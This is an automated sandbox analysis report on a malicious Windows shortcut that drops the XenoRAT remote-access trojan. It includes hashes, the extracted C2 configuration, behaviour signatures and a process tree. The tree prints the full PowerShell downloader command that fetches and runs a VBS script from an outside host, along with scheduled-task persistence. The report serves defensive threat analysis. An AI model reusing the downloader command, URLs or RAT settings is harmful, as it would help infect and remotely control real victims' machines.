Analysis
- max time kernel
140s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
10/12/2024, 03:44
Static task
static1
Behavioral task
behavioral1
Sample
ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362.lnk
Resource
win7-20241010-en
General
- Target ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362.lnk
- Size 2KB
- Sample241210-eax4kaxpgk
- SHA256 ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362
- MD5 17af012abc0e526f7d02932f5a39d9db
- SHA1 5df75915751923ef2ec5226e129b5107ec5ee56a
- SHA512 af0fd0d4be8f3db60f122e37d1fe34ff0aeb066205b83aa13c128d0c3c4828651dee9774c9ef0413ae8f3eb65fa62f54054f830ee4aae33a07206086859a5c83
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs
Extracted
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xenorat
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dns.stipamana.com
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Xeno_rat_nd8912d
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delay
12000
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install_path
appdata
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port
4567
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startup_name
mrec
Signatures
- Detect XenoRat Payload 1 IoCs
resource yara_rule behavioral2/memory/1952-104-0x0000000000400000-0x0000000000412000-memory.dmp family_xenorat - Xenorat family
- Blocklisted process makes network request 2 IoCs
flow pid Process 7 3500 powershell.exe 8 2064 WScript.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3500 powershell.exe - Downloads MZ/PE file
- Office macro that triggers on suspicious action 1 IoCs
Office document macro which triggers in special circumstances - often malicious.
resource yara_rule behavioral2/files/0x000b000000023b75-38.dat office_macro_on_action -
resource behavioral2/files/0x000b000000023b75-38.dat - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation KKSTV.exe - Executes dropped EXE 8 IoCs
pid Process 4588 KKSTV.exe 1952 KKSTV.exe 4480 KKSTV.exe 4380 KKSTV.exe 3408 KKSTV.exe 1980 KKSTV.exe 4336 KKSTV.exe 3660 KKSTV.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 4588 set thread context of 1952 4588 KKSTV.exe 95 PID 4588 set thread context of 4480 4588 KKSTV.exe 96 PID 4588 set thread context of 4380 4588 KKSTV.exe 97 PID 3408 set thread context of 1980 3408 KKSTV.exe 99 PID 3408 set thread context of 4336 3408 KKSTV.exe 100 PID 3408 set thread context of 3660 3408 KKSTV.exe 101 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language KKSTV.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1528 schtasks.exe - Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3900 WINWORD.EXE 3900 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3500 powershell.exe 3500 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3500 powershell.exe Token: SeDebugPrivilege 4588 KKSTV.exe Token: SeDebugPrivilege 3408 KKSTV.exe - Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3900 WINWORD.EXE 3900 WINWORD.EXE 3900 WINWORD.EXE 3900 WINWORD.EXE 3900 WINWORD.EXE 3900 WINWORD.EXE 3900 WINWORD.EXE - Suspicious use of WriteProcessMemory 61 IoCs
description pid Process procid_target PID 4904 wrote to memory of 3500 4904 cmd.exe 84 PID 4904 wrote to memory of 3500 4904 cmd.exe 84 PID 3500 wrote to memory of 2064 3500 powershell.exe 85 PID 3500 wrote to memory of 2064 3500 powershell.exe 85 PID 3900 wrote to memory of 4588 3900 WINWORD.EXE 92 PID 3900 wrote to memory of 4588 3900 WINWORD.EXE 92 PID 3900 wrote to memory of 4588 3900 WINWORD.EXE 92 PID 4588 wrote to memory of 1952 4588 KKSTV.exe 95 PID 4588 wrote to memory of 1952 4588 KKSTV.exe 95 PID 4588 wrote to memory of 1952 4588 KKSTV.exe 95 PID 4588 wrote to memory of 1952 4588 KKSTV.exe 95 PID 4588 wrote to memory of 1952 4588 KKSTV.exe 95 PID 4588 wrote to memory of 1952 4588 KKSTV.exe 95 PID 4588 wrote to memory of 1952 4588 KKSTV.exe 95 PID 4588 wrote to memory of 1952 4588 KKSTV.exe 95 PID 4588 wrote to memory of 4480 4588 KKSTV.exe 96 PID 4588 wrote to memory of 4480 4588 KKSTV.exe 96 PID 4588 wrote to memory of 4480 4588 KKSTV.exe 96 PID 4588 wrote to memory of 4480 4588 KKSTV.exe 96 PID 4588 wrote to memory of 4480 4588 KKSTV.exe 96 PID 4588 wrote to memory of 4480 4588 KKSTV.exe 96 PID 4588 wrote to memory of 4480 4588 KKSTV.exe 96 PID 4588 wrote to memory of 4480 4588 KKSTV.exe 96 PID 4588 wrote to memory of 4380 4588 KKSTV.exe 97 PID 4588 wrote to memory of 4380 4588 KKSTV.exe 97 PID 4588 wrote to memory of 4380 4588 KKSTV.exe 97 PID 4588 wrote to memory of 4380 4588 KKSTV.exe 97 PID 4588 wrote to memory of 4380 4588 KKSTV.exe 97 PID 4588 wrote to memory of 4380 4588 KKSTV.exe 97 PID 4588 wrote to memory of 4380 4588 KKSTV.exe 97 PID 4588 wrote to memory of 4380 4588 KKSTV.exe 97 PID 1952 wrote to memory of 3408 1952 KKSTV.exe 98 PID 1952 wrote to memory of 3408 1952 KKSTV.exe 98 PID 1952 wrote to memory of 3408 1952 KKSTV.exe 98 PID 3408 wrote to memory of 1980 3408 KKSTV.exe 99 PID 3408 wrote to memory of 1980 3408 KKSTV.exe 99 PID 3408 wrote to memory of 1980 3408 KKSTV.exe 99 PID 3408 wrote to memory of 1980 3408 KKSTV.exe 99 PID 3408 wrote to memory of 1980 3408 KKSTV.exe 99 PID 3408 wrote to memory of 1980 3408 KKSTV.exe 99 PID 3408 wrote to memory of 1980 3408 KKSTV.exe 99 PID 3408 wrote to memory of 1980 3408 KKSTV.exe 99 PID 3408 wrote to memory of 4336 3408 KKSTV.exe 100 PID 3408 wrote to memory of 4336 3408 KKSTV.exe 100 PID 3408 wrote to memory of 4336 3408 KKSTV.exe 100 PID 3408 wrote to memory of 4336 3408 KKSTV.exe 100 PID 3408 wrote to memory of 4336 3408 KKSTV.exe 100 PID 3408 wrote to memory of 4336 3408 KKSTV.exe 100 PID 3408 wrote to memory of 4336 3408 KKSTV.exe 100 PID 3408 wrote to memory of 4336 3408 KKSTV.exe 100 PID 3408 wrote to memory of 3660 3408 KKSTV.exe 101 PID 3408 wrote to memory of 3660 3408 KKSTV.exe 101 PID 3408 wrote to memory of 3660 3408 KKSTV.exe 101 PID 3408 wrote to memory of 3660 3408 KKSTV.exe 101 PID 3408 wrote to memory of 3660 3408 KKSTV.exe 101 PID 3408 wrote to memory of 3660 3408 KKSTV.exe 101 PID 3408 wrote to memory of 3660 3408 KKSTV.exe 101 PID 3408 wrote to memory of 3660 3408 KKSTV.exe 101 PID 4480 wrote to memory of 1528 4480 KKSTV.exe 113 PID 4480 wrote to memory of 1528 4480 KKSTV.exe 113 PID 4480 wrote to memory of 1528 4480 KKSTV.exe 113
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass jqbinrdfgfdhozhdfboopntjfmdjtgfd -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"3⤵
- Blocklisted process makes network request
PID:2064
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3900 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4588 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe"C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3408 -
C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exeC:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1980
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C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exeC:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4336
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C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exeC:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3660
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpB9BB.tmp" /F4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1528
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4380
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Network
MITRE ATT&CK Enterprise v15
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KKSTV.exe.log
- Size 706B
- SHA256 0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339
- MD5 d95c58e609838928f0f49837cab7dfd2
- SHA1 55e7139a1e3899195b92ed8771d1ca2c7d53c916
- SHA512 405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\TCDBB50.tmp\iso690.xsl
- Size 263KB
- SHA256 3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
- MD5 ff0e07eff1333cdf9fc2523d323dd654
- SHA1 77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
- SHA512 b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
- SSDEEP 6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5gg1kuft.ll4.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs
- Size 10KB
- SHA256 87334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00
- MD5 087bcef76143b81090deef4ee4679995
- SHA1 6ebd4fd212d0583157ae03bb0eb5841c53e281fc
- SHA512 b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d
- SSDEEP 192:5yOUEFQdd+BHBHtuQoBkUfIk93lGQNdsFu/0nymvsWk+HvzES5Rm5aVK+8:5hF68GH5RlGQsFu/fkMYv8
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\tmpB9BB.tmp
- Size 1KB
- SHA256 06483d2faa061e06693dba1bb7f645fee992f94ffb713e6ebf30ae50ab288b5c
- MD5 276d8f1b7e05feed45e456295f52e4da
- SHA1 902d0fcb164b5ad255185b04558618b51b824cf8
- SHA512 893ec4b4358250389b6c7764145ef0aca8de5429ba983534d2205796296f747fcb20567ec99a6b9ccaef3903d795986b32572a7e6e5d9cb3e08b876c0f01db95
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\¸¸.doc
- Size 195KB
- SHA256 3106e90067456404a9f3e768ce3b60de6ae91fa2be664255ad6fe86c3f87e67d
- MD5 13326ed69d36aaa385c5eba9fa6e5cc2
- SHA1 66946fa69204b91787c7eabb91c1fd8452b1cc24
- SHA512 39e5df1db48b1afe1c2bf7f2b8ccfca38b0fd4c49dd04884299fcc8adc633e6171a8756bf9eca65ac37b59ce6ef4a3fb3c761848a94c04d9afe725a53d008edd
- SSDEEP 3072:j877VGZ5Sd3b4e0wNZtsqXNKd5AvDJW4S+I/tZ6X1bpF6mIJ88:6GZYwAZHMCDJ8/u5pAmIe8
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
- Size 173KB
- SHA256 639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91
- MD5 94a7e3859c2e4238421cdfe73d49603c
- SHA1 03f03c5b5d8cf362aa52b9e793e7be398d779c21
- SHA512 74048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5
- SSDEEP 3072:/Qv8/m8hRr4ZWmhtRGKTCaWzUp0jxrZmHM26XF1g39JZY6Rd:/k83r4MmhvGKTpa1tXUJLd
- MD5 SHA1 SHA512 SSDEEP